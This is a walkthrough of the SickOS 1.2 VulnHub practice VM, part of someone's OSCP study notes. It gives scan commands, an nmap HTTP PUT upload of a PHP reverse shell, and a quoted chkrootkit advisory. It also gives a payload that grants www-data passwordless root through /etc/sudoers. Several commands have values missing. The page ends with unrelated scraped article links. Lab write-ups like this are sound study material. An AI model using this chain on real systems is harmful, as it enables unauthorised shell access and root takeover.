SickOS 1.2 Walkthrough

Preparation:

Down load the SickOS virtual machines from the following website:

https://www.vulnhub.com/entry/sickos-12,144/

1. Scan the network to find the IP of SickOS server. The IP address of the SickOS is 10.0.0.31.

netdiscover -r 10.0.0.0/

2. Perform the TCP/UDP scan to the SickOS server to find potential vulnerabilities.

TCP Scan 1:

nmap -Pn -sS --stats-every 3m --max-retries  --max-scan-delay  --defeat-rst-ratelimit -T4 -p1- -oN /root/Delete/tcp1.txt 10.0.0.31

TCP Scan 2:

UDP Scan:

3. Browse the website(http://10.0.0.31) through Firefox. And nothing special found on the source page.

<html>

<img src="blow.jpg">

</html>

4. Run the tool nikto or dirbust

nikto -h 10.0.0.31

dirbuster

Browse the website(http://10.0.0.31/test/) through Firefox. But nothing found.

5. Try to use the tool curl to find some vulnerabilities.

curl -v -X OPTIONS http://10.0.0.31

Find some vulnerabilities here. We can put some reverse web shell to the website.

curl -v -X OPTIONS http://10.0.0.31/test

Modified and save the php-reverse-shell.php file.

6. Try to use Nmap to upload the reverse-shell file to the target website.

nmap -p  10.0.0.31 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='php-reverse-shell.php'

7. Listening on port 443 and browse the exploit website.

Now we connect  to the SickOS server.

8. Find the chkrootkit file in the folder /etc/cron.daily.

ls -l /etc/cron.daily

Find the version of chkrootkit.

dpkg -l | grep chkrootkit

Search  chkrootkit related exploit method on Kali Linux.

searchsploit chkrootkit

cat /usr/share/exploitdb/exploits/linux/local/.txt

We just found a serious vulnerability in the chkrootkit package, which

may allow local attackers to gain root access to a box in certain

configurations (/tmp not mounted noexec).

The vulnerability is located in the function slapper() in the

shellscript chkrootkit:

#

# SLAPPER.{A,B,C,D} and the multi-platform variant

#

slapper (){

   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"

   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \

   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a

   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "

   OPT=-an

   STATUS=0

   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">

/dev/null 2>&1

      then

      STATUS=1

      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \

         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |

tr -d :`

   fi

   for i in ${SLAPPER_FILES}; do

      if [ -f ${i} ]; then

         file_port=$file_port $i

         STATUS=1

      fi

   done

   if [ ${STATUS} -eq 1 ] ;then

      echo "Warning: Possible Slapper Worm installed ($file_port)"

   else

      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi

         return ${NOT_INFECTED}

   fi

}

The line 'file_port=$file_port $i' will execute all files specified in

$SLAPPER_FILES as the user chkrootkit is running (usually root), if

$file_port is empty, because of missing quotation marks around the

variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not

mounted noexec, obviously)

- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively

rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in

cron.daily) and has write access to /tmp (not mounted noexec), he may

easily take advantage of this.

Suggested fix: Put quotation marks around the assignment.

file_port="$file_port $i"

I will also try to contact upstream, although the latest version of

chkrootkit dates back to 2009 - will have to see, if I reach a dev there.

Prepare the exploit:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

Make sure we have the full privileges of the update file.

9. Run the run-parts command and press Enter twice. Finally, execute the command - sudo su.

Ahaaa! Get to root privilege.

run-parts /etc/cron.daily

sudo su

Try harder, until success.

OSCP Learning Notes - Capstone(4)的更多相关文章

  1. OSCP Learning Notes - Capstone(3)

    DroopyCTF Walkthrough Preparation: Download the DroopyCTF virtual machine from the following website ...

  2. OSCP Learning Notes - Capstone(2)

    BTRSys v2.1 Walkthrough Preparation: Download the BTRSys virtual machine from the following website: ...

  3. OSCP Learning Notes - Capstone(1)

    Kioptrix Level 1.1 Walkthrough Preparation: Download the virtual machine  from the following website ...

  4. OSCP Learning Notes - Overview

    Prerequisites: Knowledge of scripting languages(Bash/Pyhon) Understanding of basic networking concep ...

  5. OSCP Learning Notes - Buffer Overflows(3)

    Finding Bad Characters 1. Find the bad charaters in the following website: https://bulbsecurity.com/ ...

  6. OSCP Learning Notes - Buffer Overflows(2)

    Finding the Offset 1. Use the Metasploite pattern_create.rb tool to create 5900 characters. /usr/sha ...

  7. OSCP Learning Notes - Buffer Overflows(1)

    Introduction to Buffer Overflows Anatomy of Memory Anatomy of the Stack Fuzzing Tools: Vulnserver -  ...

  8. OSCP Learning Notes - Netcat

    Introduction to Netcat Connecting va Listening Bind Shells Attacker connects to victim on listening ...

  9. OSCP Learning Notes - Enumeration(4)

    DNS Enumeration 1. Host Tool host is a simple utility for performing DNS lookups. It is normally use ...

随机推荐

  1. Eplan如何调用经常使用的自绘部件？

    Eplan如何调用经常使用的自绘部件?采用宏的简单应用,即可. 参考文档:https://blog.csdn.net/txwtech/article/details/90510106

  2. VB.NET在基类中定义共享事件（类似于C#中的静态事件）

    基类: Public Class userFun Private Shared _PnlStatus As String ‘必须设为共享字段,如果不设为Shared,将不能传递字符串内容 Public ...

  3. Zookeeper客户端Apache Curator

    本文不对Zookeeper进行介绍,主要介绍Curator怎么操作Zookeeper. Apache Curator是Apache ZooKeeper的Java / JVM客户端库,Apache Zo ...

  4. Git【入门】这一篇就够了

    前言 欢迎关注公众号,白嫖原创PDF,也可以催更,微信搜:JavaPub,回复:[666] Git 在生产工作中是使用频率很高的工具,但我发现很多文章只是对它做了简单的提交命令说明,真正遇到 版本冲突 ...

  5. dart快速入门教程 （7.4）

    7.12.多态 多态字面上理解就是多种状态,通俗的说,多态表现为父类定义一个方法不去实现,子类继承这个方法后实现父类的方法,这个方法有多种表现 // import 'person.dart'; voi ...

  6. oracle闪回，找回已提交修改的记录

    版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/qq_24521431/article/details/84580166 例如删除ward_id为96 ...

  7. Redis系列（九）：数据结构Hash源码解析和HSET、HGET命令

    2.源码解析 1.相关命令如下: {"hset",hsetCommand,,"wmF",,NULL,,,,,}, {"hsetnx",hse ...

  8. FTP学习

    FTP服务的使用 一.LVM理论 介绍 FTP用于在Internet 上控制文件的双向传输. FTP的主要作用就是让用户连接一 个远程计算机(这些计算机上 运行着FTP服务器程序) ,并查看远程计算机 ...

  9. P2629 【好消息，坏消息】

    其实刚开始看到这道题,应该很多都会想到区间DP中的合并石子,开一个2倍的空间(严格来说的话应该是2n-1),将本来的环变成一个链式的结构.然后对于得到的消息,可以预处理一个前缀和,这样就可以很方便的知 ...

  10. Tomcat的启停脚本源码解析

    Tomcat是一款我们平时开发过程中最常用到的Servlet容器.本系列博客会记录Tomcat的整体架构.主要组件.IO线程模型.请求在Tomcat内部的流转过程以及一些Tomcat调优的相关知识. ...